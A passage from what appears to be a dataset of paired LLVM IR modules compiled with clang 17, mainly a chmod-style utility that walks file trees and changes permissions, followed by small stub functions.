%202 = getelementptr inbounds %struct.TYPE_6__, ptr %201, i32 0, i32 0
%203 = load i32, ptr %202, align 4
%204 = call i32 @getmode(ptr noundef %198, i32 noundef %203)
store i32 %204, ptr %19, align 4
%205 = load ptr, ptr %7, align 8
%206 = load i32, ptr %15, align 4
%207 = call i64 @may_have_nfs4acl(ptr noundef %205, i32 noundef %206)
%208 = icmp eq i64 %207, 0
br i1 %208, label %209, label %222
209: ; preds = %197
%210 = load i32, ptr %19, align 4
%211 = load i32, ptr @ALLPERMS, align 4
%212 = and i32 %210, %211
%213 = load ptr, ptr %7, align 8
%214 = getelementptr inbounds %struct.TYPE_7__, ptr %213, i32 0, i32 3
%215 = load ptr, ptr %214, align 8
%216 = getelementptr inbounds %struct.TYPE_6__, ptr %215, i32 0, i32 0
%217 = load i32, ptr %216, align 4
%218 = load i32, ptr @ALLPERMS, align 4
%219 = and i32 %217, %218
%220 = icmp eq i32 %212, %219
br i1 %220, label %221, label %222
221: ; preds = %209
br label %141, !llvm.loop !8
222: ; preds = %209, %197
%223 = load i32, ptr @AT_FDCWD, align 4
%224 = load ptr, ptr %7, align 8
%225 = getelementptr inbounds %struct.TYPE_7__, ptr %224, i32 0, i32 4
%226 = load i32, ptr %225, align 8
%227 = load i32, ptr %19, align 4
%228 = load i32, ptr %20, align 4
%229 = call i32 @fchmodat(i32 noundef %223, i32 noundef %226, i32 noundef %227, i32 noundef %228)
%230 = icmp eq i32 %229, -1
br i1 %230, label %231, label %239
231: ; preds = %222
%232 = load i32, ptr %13, align 4
%233 = icmp ne i32 %232, 0
br i1 %233, label %239, label %234
234: ; preds = %231
%235 = load ptr, ptr %7, align 8
%236 = getelementptr inbounds %struct.TYPE_7__, ptr %235, i32 0, i32 2
%237 = load ptr, ptr %236, align 8
%238 = call i32 @warn(ptr noundef @.str.5, ptr noundef %237)
store i32 1, ptr %16, align 4
br label %288
239: ; preds = %231, %222
%240 = load i32, ptr %17, align 4
%241 = icmp ne i32 %240, 0
br i1 %241, label %242, label %287
242: ; preds = %239
%243 = load ptr, ptr %7, align 8
%244 = getelementptr inbounds %struct.TYPE_7__, ptr %243, i32 0, i32 2
%245 = load ptr, ptr %244, align 8
%246 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, ptr noundef %245)
%247 = load i32, ptr %17, align 4
%248 = icmp sgt i32 %247, 1
br i1 %248, label %249, label %285
249: ; preds = %242
%250 = load ptr, ptr %7, align 8
%251 = getelementptr inbounds %struct.TYPE_7__, ptr %250, i32 0, i32 3
%252 = load ptr, ptr %251, align 8
%253 = getelementptr inbounds %struct.TYPE_6__, ptr %252, i32 0, i32 0
%254 = load i32, ptr %253, align 4
%255 = getelementptr inbounds [12 x i8], ptr %21, i64 0, i64 0
%256 = call i32 @strmode(i32 noundef %254, ptr noundef %255)
%257 = load ptr, ptr %7, align 8
%258 = getelementptr inbounds %struct.TYPE_7__, ptr %257, i32 0, i32 3
%259 = load ptr, ptr %258, align 8
%260 = getelementptr inbounds %struct.TYPE_6__, ptr %259, i32 0, i32 0
%261 = load i32, ptr %260, align 4
%262 = load i32, ptr @S_IFMT, align 4
%263 = and i32 %261, %262
%264 = load i32, ptr %19, align 4
%265 = or i32 %263, %264
%266 = getelementptr inbounds [12 x i8], ptr %22, i64 0, i64 0
%267 = call i32 @strmode(i32 noundef %265, ptr noundef %266)
%268 = load ptr, ptr %7, align 8
%269 = getelementptr inbounds %struct.TYPE_7__, ptr %268, i32 0, i32 3
%270 = load ptr, ptr %269, align 8
%271 = getelementptr inbounds %struct.TYPE_6__, ptr %270, i32 0, i32 0
%272 = load i32, ptr %271, align 4
%273 = getelementptr inbounds [12 x i8], ptr %21, i64 0, i64 0
%274 = load ptr, ptr %7, align 8
%275 = getelementptr inbounds %struct.TYPE_7__, ptr %274, i32 0, i32 3
%276 = load ptr, ptr %275, align 8
%277 = getelementptr inbounds %struct.TYPE_6__, ptr %276, i32 0, i32 0
%278 = load i32, ptr %277, align 4
%279 = load i32, ptr @S_IFMT, align 4
%280 = and i32 %278, %279
%281 = load i32, ptr %19, align 4
%282 = or i32 %280, %281
%283 = getelementptr inbounds [12 x i8], ptr %22, i64 0, i64 0
%284 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i32 noundef %272, ptr noundef %273, i32 noundef %282, ptr noundef %283)
br label %285
285: ; preds = %249, %242
%286 = call i32 (ptr, ...) @printf(ptr noundef @.str.7)
br label %287
287: ; preds = %285, %239
br label %288
288: ; preds = %287, %234
br label %141, !llvm.loop !8
289: ; preds = %141
%290 = load i64, ptr @errno, align 8
%291 = icmp ne i64 %290, 0
br i1 %291, label %292, label %294
292: ; preds = %289
%293 = call i32 @err(i32 noundef 1, ptr noundef @.str.8)
br label %294
294: ; preds = %292, %289
%295 = load i32, ptr %16, align 4
%296 = call i32 @exit(i32 noundef %295) #3
unreachable
}
declare i32 @getopt(i32 noundef, ptr noundef, ptr noundef) #1
declare i32 @usage(...) #1
declare i32 @errx(i32 noundef, ptr noundef, ...) #1
declare ptr @setmode(ptr noundef) #1
declare ptr @fts_open(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @err(i32 noundef, ptr noundef) #1
declare ptr @fts_read(ptr noundef) #1
declare i32 @fts_set(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @warnx(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strerror(i32 noundef) #1
declare i32 @getmode(ptr noundef, i32 noundef) #1
declare i64 @may_have_nfs4acl(ptr noundef, i32 noundef) #1
declare i32 @fchmodat(i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @warn(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, ...) #1
declare i32 @strmode(i32 noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpaitul9mp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.TYPE_7__ = type { i64, i32, ptr, ptr, i32, i32 }
%struct.TYPE_6__ = type { i32 }
@.str = private unnamed_addr constant [17 x i8] c"HLPRXfghorstuvwx\00", align 1
@optind = dso_local global i64 0, align 8
@.str.1 = private unnamed_addr constant [53 x i8] c"the -R and -h options may not be specified together.\00", align 1
@FTS_LOGICAL = dso_local global i32 0, align 4
@FTS_PHYSICAL = dso_local global i32 0, align 4
@FTS_COMFOLLOW = dso_local global i32 0, align 4
@.str.2 = private unnamed_addr constant [22 x i8] c"invalid file mode: %s\00", align 1
@.str.3 = private unnamed_addr constant [9 x i8] c"fts_open\00", align 1
@FTS_ROOTLEVEL = dso_local global i64 0, align 8
@AT_SYMLINK_NOFOLLOW = dso_local global i32 0, align 4
@FTS_SKIP = dso_local global i32 0, align 4
@.str.4 = private unnamed_addr constant [7 x i8] c"%s: %s\00", align 1
@ALLPERMS = dso_local global i32 0, align 4
@AT_FDCWD = dso_local global i32 0, align 4
@.str.5 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@S_IFMT = dso_local global i32 0, align 4
@.str.6 = private unnamed_addr constant [23 x i8] c": 0%o [%s] -> 0%o [%s]\00", align 1
@.str.7 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
@errno = dso_local global i64 0, align 8
@.str.8 = private unnamed_addr constant [9 x i8] c"fts_read\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca ptr, align 8
%19 = alloca i32, align 4
%20 = alloca i32, align 4
%21 = alloca [12 x i8], align 1
%22 = alloca [12 x i8], align 1
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr null, ptr %8, align 8
store i32 0, ptr %17, align 4
store i32 0, ptr %15, align 4
store i32 0, ptr %13, align 4
store i32 0, ptr %11, align 4
store i32 0, ptr %10, align 4
store i32 0, ptr %9, align 4
%23 = load i32, ptr %4, align 4
%24 = load ptr, ptr %5, align 8
%25 = call i32 @getopt(i32 noundef %23, ptr noundef %24, ptr noundef @.str)
store i32 %25, ptr %12, align 4
%26 = icmp ne i32 %25, -1
br i1 %26, label %.lr.ph, label %81
.lr.ph: ; preds = %2
br label %27
27: ; preds = %.lr.ph, %76
%28 = load i32, ptr %12, align 4
switch i32 %28, label %74 [
i32 72, label %29
i32 76, label %30
i32 80, label %31
i32 82, label %32
i32 102, label %33
i32 104, label %34
i32 103, label %35
i32 111, label %35
i32 114, label %35
i32 115, label %35
i32 116, label %35
i32 117, label %35
i32 119, label %35
i32 88, label %35
i32 120, label %35
i32 118, label %70
i32 63, label %73
]
29: ; preds = %27
store i32 1, ptr %9, align 4
store i32 0, ptr %10, align 4
br label %76
30: ; preds = %27
store i32 1, ptr %10, align 4
store i32 0, ptr %9, align 4
br label %76
31: ; preds = %27
store i32 0, ptr %10, align 4
store i32 0, ptr %9, align 4
br label %76
32: ; preds = %27
store i32 1, ptr %11, align 4
br label %76
33: ; preds = %27
store i32 1, ptr %13, align 4
br label %76
34: ; preds = %27
store i32 1, ptr %15, align 4
br label %76
35: ; preds = %27, %27, %27, %27, %27, %27, %27, %27, %27
%36 = load ptr, ptr %5, align 8
%37 = load i64, ptr @optind, align 8
%38 = sub i64 %37, 1
%39 = getelementptr inbounds ptr, ptr %36, i64 %38
%40 = load ptr, ptr %39, align 8
%41 = getelementptr inbounds i8, ptr %40, i64 0
%42 = load i8, ptr %41, align 1
%43 = sext i8 %42 to i32
%44 = icmp eq i32 %43, 45
br i1 %44, label %45, label %69
45: ; preds = %35
%46 = load ptr, ptr %5, align 8
%47 = load i64, ptr @optind, align 8
%48 = sub i64 %47, 1
%49 = getelementptr inbounds ptr, ptr %46, i64 %48
%50 = load ptr, ptr %49, align 8
%51 = getelementptr inbounds i8, ptr %50, i64 1
%52 = load i8, ptr %51, align 1
%53 = sext i8 %52 to i32
%54 = load i32, ptr %12, align 4
%55 = icmp eq i32 %53, %54
br i1 %55, label %56, label %69
56: ; preds = %45
%57 = load ptr, ptr %5, align 8
%58 = load i64, ptr @optind, align 8
%59 = sub i64 %58, 1
%60 = getelementptr inbounds ptr, ptr %57, i64 %59
%61 = load ptr, ptr %60, align 8
%62 = getelementptr inbounds i8, ptr %61, i64 2
%63 = load i8, ptr %62, align 1
%64 = sext i8 %63 to i32
%65 = icmp eq i32 %64, 0
br i1 %65, label %66, label %69
66: ; preds = %56
%67 = load i64, ptr @optind, align 8
%68 = add i64 %67, -1
store i64 %68, ptr @optind, align 8
br label %69
69: ; preds = %66, %56, %45, %35
br label %82
70: ; preds = %27
%71 = load i32, ptr %17, align 4
%72 = add nsw i32 %71, 1
store i32 %72, ptr %17, align 4
br label %76
73: ; preds = %27
br label %74
74: ; preds = %73, %27
%75 = call i32 (...) @usage()
br label %76
76: ; preds = %74, %70, %34, %33, %32, %31, %30, %29
%77 = load i32, ptr %4, align 4
%78 = load ptr, ptr %5, align 8
%79 = call i32 @getopt(i32 noundef %77, ptr noundef %78, ptr noundef @.str)
store i32 %79, ptr %12, align 4
%80 = icmp ne i32 %79, -1
br i1 %80, label %27, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %76
br label %81
81: ; preds = %._crit_edge, %2
br label %82
82: ; preds = %81, %69
%83 = load i64, ptr @optind, align 8
%84 = load ptr, ptr %5, align 8
%85 = getelementptr inbounds ptr, ptr %84, i64 %83
store ptr %85, ptr %5, align 8
%86 = load i64, ptr @optind, align 8
%87 = load i32, ptr %4, align 4
%88 = sext i32 %87 to i64
%89 = sub i64 %88, %86
%90 = trunc i64 %89 to i32
store i32 %90, ptr %4, align 4
%91 = load i32, ptr %4, align 4
%92 = icmp slt i32 %91, 2
br i1 %92, label %93, label %95
93: ; preds = %82
%94 = call i32 (...) @usage()
br label %95
95: ; preds = %93, %82
%96 = load i32, ptr %11, align 4
%97 = icmp ne i32 %96, 0
br i1 %97, label %98, label %118
98: ; preds = %95
%99 = load i32, ptr %15, align 4
%100 = icmp ne i32 %99, 0
br i1 %100, label %101, label %103
101: ; preds = %98
%102 = call i32 (i32, ptr, ...) @errx(i32 noundef 1, ptr noundef @.str.1)
br label %103
103: ; preds = %101, %98
%104 = load i32, ptr %10, align 4
%105 = icmp ne i32 %104, 0
br i1 %105, label %106, label %108
106: ; preds = %103
%107 = load i32, ptr @FTS_LOGICAL, align 4
store i32 %107, ptr %14, align 4
br label %117
108: ; preds = %103
%109 = load i32, ptr @FTS_PHYSICAL, align 4
store i32 %109, ptr %14, align 4
%110 = load i32, ptr %9, align 4
%111 = icmp ne i32 %110, 0
br i1 %111, label %112, label %116
112: ; preds = %108
%113 = load i32, ptr @FTS_COMFOLLOW, align 4
%114 = load i32, ptr %14, align 4
%115 = or i32 %114, %113
store i32 %115, ptr %14, align 4
br label %116
116: ; preds = %112, %108
br label %117
117: ; preds = %116, %106
br label %126
118: ; preds = %95
%119 = load i32, ptr %15, align 4
%120 = icmp ne i32 %119, 0
br i1 %120, label %121, label %123
121: ; preds = %118
%122 = load i32, ptr @FTS_PHYSICAL, align 4
store i32 %122, ptr %14, align 4
br label %125
123: ; preds = %118
%124 = load i32, ptr @FTS_LOGICAL, align 4
store i32 %124, ptr %14, align 4
br label %125
125: ; preds = %123, %121
br label %126
126: ; preds = %125, %117
%127 = load ptr, ptr %5, align 8
%128 = load ptr, ptr %127, align 8
store ptr %128, ptr %18, align 8
%129 = load ptr, ptr %18, align 8
%130 = call ptr @setmode(ptr noundef %129)
store ptr %130, ptr %8, align 8
%131 = icmp eq ptr %130, null
br i1 %131, label %132, label %135
132: ; preds = %126
%133 = load ptr, ptr %18, align 8
%134 = call i32 (i32, ptr, ...) @errx(i32 noundef 1, ptr noundef @.str.2, ptr noundef %133)
br label %135
135: ; preds = %132, %126
%136 = load ptr, ptr %5, align 8
%137 = getelementptr inbounds ptr, ptr %136, i32 1
store ptr %137, ptr %5, align 8
%138 = load i32, ptr %14, align 4
%139 = call ptr @fts_open(ptr noundef %137, i32 noundef %138, i32 noundef 0)
store ptr %139, ptr %6, align 8
%140 = icmp eq ptr %139, null
br i1 %140, label %141, label %143
141: ; preds = %135
%142 = call i32 @err(i32 noundef 1, ptr noundef @.str.3)
br label %143
143: ; preds = %141, %135
store i32 0, ptr %16, align 4
%144 = load ptr, ptr %6, align 8
%145 = call ptr @fts_read(ptr noundef %144)
store ptr %145, ptr %7, align 8
%146 = icmp ne ptr %145, null
br i1 %146, label %.lr.ph2, label %294
.lr.ph2: ; preds = %143
br label %147
147: ; preds = %.lr.ph2, %.backedge
%148 = load i32, ptr %14, align 4
%149 = load i32, ptr @FTS_LOGICAL, align 4
%150 = and i32 %148, %149
%151 = icmp ne i32 %150, 0
br i1 %151, label %163, label %152
152: ; preds = %147
%153 = load i32, ptr %14, align 4
%154 = load i32, ptr @FTS_COMFOLLOW, align 4
%155 = and i32 %153, %154
%156 = icmp ne i32 %155, 0
br i1 %156, label %157, label %164
157: ; preds = %152
%158 = load ptr, ptr %7, align 8
%159 = getelementptr inbounds %struct.TYPE_7__, ptr %158, i32 0, i32 0
%160 = load i64, ptr %159, align 8
%161 = load i64, ptr @FTS_ROOTLEVEL, align 8
%162 = icmp eq i64 %160, %161
br i1 %162, label %163, label %164
163: ; preds = %157, %147
store i32 0, ptr %20, align 4
br label %166
164: ; preds = %157, %152
%165 = load i32, ptr @AT_SYMLINK_NOFOLLOW, align 4
store i32 %165, ptr %20, align 4
br label %166
166: ; preds = %164, %163
%167 = load ptr, ptr %7, align 8
%168 = getelementptr inbounds %struct.TYPE_7__, ptr %167, i32 0, i32 1
%169 = load i32, ptr %168, align 8
switch i32 %169, label %201 [
i32 132, label %170
i32 131, label %179
i32 130, label %188
i32 129, label %192
i32 128, label %192
]
170: ; preds = %166
%171 = load i32, ptr %11, align 4
%172 = icmp ne i32 %171, 0
br i1 %172, label %178, label %173
173: ; preds = %170
%174 = load ptr, ptr %6, align 8
%175 = load ptr, ptr %7, align 8
%176 = load i32, ptr @FTS_SKIP, align 4
%177 = call i32 @fts_set(ptr noundef %174, ptr noundef %175, i32 noundef %176)
br label %178
178: ; preds = %173, %170
br label %202
179: ; preds = %166
%180 = load ptr, ptr %7, align 8
%181 = getelementptr inbounds %struct.TYPE_7__, ptr %180, i32 0, i32 2
%182 = load ptr, ptr %181, align 8
%183 = load ptr, ptr %7, align 8
%184 = getelementptr inbounds %struct.TYPE_7__, ptr %183, i32 0, i32 5
%185 = load i32, ptr %184, align 4
%186 = call i32 @strerror(i32 noundef %185)
%187 = call i32 @warnx(ptr noundef @.str.4, ptr noundef %182, i32 noundef %186)
store i32 1, ptr %16, align 4
br label %202
188: ; preds = %166
br label %.backedge
.backedge: ; preds = %188, %192, %226, %293
%189 = load ptr, ptr %6, align 8
%190 = call ptr @fts_read(ptr noundef %189)
store ptr %190, ptr %7, align 8
%191 = icmp ne ptr %190, null
br i1 %191, label %147, label %._crit_edge3, !llvm.loop !8
192: ; preds = %166, %166
%193 = load ptr, ptr %7, align 8
%194 = getelementptr inbounds %struct.TYPE_7__, ptr %193, i32 0, i32 2
%195 = load ptr, ptr %194, align 8
%196 = load ptr, ptr %7, align 8
%197 = getelementptr inbounds %struct.TYPE_7__, ptr %196, i32 0, i32 5
%198 = load i32, ptr %197, align 4
%199 = call i32 @strerror(i32 noundef %198)
%200 = call i32 @warnx(ptr noundef @.str.4, ptr noundef %195, i32 noundef %199)
store i32 1, ptr %16, align 4
br label %.backedge
201: ; preds = %166
br label %202
202: ; preds = %201, %179, %178
%203 = load ptr, ptr %8, align 8
%204 = load ptr, ptr %7, align 8
%205 = getelementptr inbounds %struct.TYPE_7__, ptr %204, i32 0, i32 3
%206 = load ptr, ptr %205, align 8
%207 = getelementptr inbounds %struct.TYPE_6__, ptr %206, i32 0, i32 0
%208 = load i32, ptr %207, align 4
%209 = call i32 @getmode(ptr noundef %203, i32 noundef %208)
store i32 %209, ptr %19, align 4
%210 = load ptr, ptr %7, align 8
%211 = load i32, ptr %15, align 4
%212 = call i64 @may_have_nfs4acl(ptr noundef %210, i32 noundef %211)
%213 = icmp eq i64 %212, 0
br i1 %213, label %214, label %227
214: ; preds = %202
%215 = load i32, ptr %19, align 4
%216 = load i32, ptr @ALLPERMS, align 4
%217 = and i32 %215, %216
%218 = load ptr, ptr %7, align 8
%219 = getelementptr inbounds %struct.TYPE_7__, ptr %218, i32 0, i32 3
%220 = load ptr, ptr %219, align 8
%221 = getelementptr inbounds %struct.TYPE_6__, ptr %220, i32 0, i32 0
%222 = load i32, ptr %221, align 4
%223 = load i32, ptr @ALLPERMS, align 4
%224 = and i32 %222, %223
%225 = icmp eq i32 %217, %224
br i1 %225, label %226, label %227
226: ; preds = %214
br label %.backedge
227: ; preds = %214, %202
%228 = load i32, ptr @AT_FDCWD, align 4
%229 = load ptr, ptr %7, align 8
%230 = getelementptr inbounds %struct.TYPE_7__, ptr %229, i32 0, i32 4
%231 = load i32, ptr %230, align 8
%232 = load i32, ptr %19, align 4
%233 = load i32, ptr %20, align 4
%234 = call i32 @fchmodat(i32 noundef %228, i32 noundef %231, i32 noundef %232, i32 noundef %233)
%235 = icmp eq i32 %234, -1
br i1 %235, label %236, label %244
236: ; preds = %227
%237 = load i32, ptr %13, align 4
%238 = icmp ne i32 %237, 0
br i1 %238, label %244, label %239
239: ; preds = %236
%240 = load ptr, ptr %7, align 8
%241 = getelementptr inbounds %struct.TYPE_7__, ptr %240, i32 0, i32 2
%242 = load ptr, ptr %241, align 8
%243 = call i32 @warn(ptr noundef @.str.5, ptr noundef %242)
store i32 1, ptr %16, align 4
br label %293
244: ; preds = %236, %227
%245 = load i32, ptr %17, align 4
%246 = icmp ne i32 %245, 0
br i1 %246, label %247, label %292
247: ; preds = %244
%248 = load ptr, ptr %7, align 8
%249 = getelementptr inbounds %struct.TYPE_7__, ptr %248, i32 0, i32 2
%250 = load ptr, ptr %249, align 8
%251 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, ptr noundef %250)
%252 = load i32, ptr %17, align 4
%253 = icmp sgt i32 %252, 1
br i1 %253, label %254, label %290
254: ; preds = %247
%255 = load ptr, ptr %7, align 8
%256 = getelementptr inbounds %struct.TYPE_7__, ptr %255, i32 0, i32 3
%257 = load ptr, ptr %256, align 8
%258 = getelementptr inbounds %struct.TYPE_6__, ptr %257, i32 0, i32 0
%259 = load i32, ptr %258, align 4
%260 = getelementptr inbounds [12 x i8], ptr %21, i64 0, i64 0
%261 = call i32 @strmode(i32 noundef %259, ptr noundef %260)
%262 = load ptr, ptr %7, align 8
%263 = getelementptr inbounds %struct.TYPE_7__, ptr %262, i32 0, i32 3
%264 = load ptr, ptr %263, align 8
%265 = getelementptr inbounds %struct.TYPE_6__, ptr %264, i32 0, i32 0
%266 = load i32, ptr %265, align 4
%267 = load i32, ptr @S_IFMT, align 4
%268 = and i32 %266, %267
%269 = load i32, ptr %19, align 4
%270 = or i32 %268, %269
%271 = getelementptr inbounds [12 x i8], ptr %22, i64 0, i64 0
%272 = call i32 @strmode(i32 noundef %270, ptr noundef %271)
%273 = load ptr, ptr %7, align 8
%274 = getelementptr inbounds %struct.TYPE_7__, ptr %273, i32 0, i32 3
%275 = load ptr, ptr %274, align 8
%276 = getelementptr inbounds %struct.TYPE_6__, ptr %275, i32 0, i32 0
%277 = load i32, ptr %276, align 4
%278 = getelementptr inbounds [12 x i8], ptr %21, i64 0, i64 0
%279 = load ptr, ptr %7, align 8
%280 = getelementptr inbounds %struct.TYPE_7__, ptr %279, i32 0, i32 3
%281 = load ptr, ptr %280, align 8
%282 = getelementptr inbounds %struct.TYPE_6__, ptr %281, i32 0, i32 0
%283 = load i32, ptr %282, align 4
%284 = load i32, ptr @S_IFMT, align 4
%285 = and i32 %283, %284
%286 = load i32, ptr %19, align 4
%287 = or i32 %285, %286
%288 = getelementptr inbounds [12 x i8], ptr %22, i64 0, i64 0
%289 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i32 noundef %277, ptr noundef %278, i32 noundef %287, ptr noundef %288)
br label %290
290: ; preds = %254, %247
%291 = call i32 (ptr, ...) @printf(ptr noundef @.str.7)
br label %292
292: ; preds = %290, %244
br label %293
293: ; preds = %292, %239
br label %.backedge
._crit_edge3: ; preds = %.backedge
br label %294
294: ; preds = %._crit_edge3, %143
%295 = load i64, ptr @errno, align 8
%296 = icmp ne i64 %295, 0
br i1 %296, label %297, label %299
297: ; preds = %294
%298 = call i32 @err(i32 noundef 1, ptr noundef @.str.8)
br label %299
299: ; preds = %297, %294
%300 = load i32, ptr %16, align 4
%301 = call i32 @exit(i32 noundef %300) #3
unreachable
}
declare i32 @getopt(i32 noundef, ptr noundef, ptr noundef) #1
declare i32 @usage(...) #1
declare i32 @errx(i32 noundef, ptr noundef, ...) #1
declare ptr @setmode(ptr noundef) #1
declare ptr @fts_open(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @err(i32 noundef, ptr noundef) #1
declare ptr @fts_read(ptr noundef) #1
declare i32 @fts_set(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @warnx(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strerror(i32 noundef) #1
declare i32 @getmode(ptr noundef, i32 noundef) #1
declare i64 @may_have_nfs4acl(ptr noundef, i32 noundef) #1
declare i32 @fchmodat(i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @warn(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, ...) #1
declare i32 @strmode(i32 noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpys48wa0e.c'
source_filename = "/tmp/tmpys48wa0e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @c() #0 {
%1 = call i32 (...) @a()
%2 = call i32 (...) @e()
ret void
}
declare i32 @a(...) #1
declare i32 @e(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpys48wa0e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @c() #0 {
%1 = call i32 (...) @a()
%2 = call i32 (...) @e()
ret void
}
declare i32 @a(...) #1
declare i32 @e(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp5tc7k2gs.c'
source_filename = "/tmp/tmp5tc7k2gs.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [3 x i32], align 4
%3 = alloca [3 x i32], align 4
